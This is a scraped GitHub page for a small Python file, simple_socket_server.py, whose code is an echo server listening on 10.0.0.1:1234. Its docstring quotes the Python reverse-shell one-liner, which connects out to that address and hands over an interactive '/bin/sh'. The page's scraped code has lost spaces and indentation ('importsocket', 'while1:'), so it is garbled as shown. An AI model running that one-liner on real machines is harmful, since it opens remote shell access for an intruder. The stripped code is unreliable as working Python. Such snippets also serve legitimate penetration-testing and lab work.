- Notifications
You must be signed in to change notification settings - Fork 27
Expand file tree
/
Copy pathsimple_socket_server.py
More file actions
Latest commit
23 lines (19 loc) · 613 Bytes
/
Copy pathsimple_socket_server.py
File metadata and controls
23 lines (19 loc) · 613 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
"""
A simple echo server similar to the python connect back on liner
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
"""
importsocket
host='10.0.0.1'
port=1234
backlog=5
size=1024
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while1:
client, address=s.accept()
data=client.recv(size)
ifdata:
client.send(data)
client.close()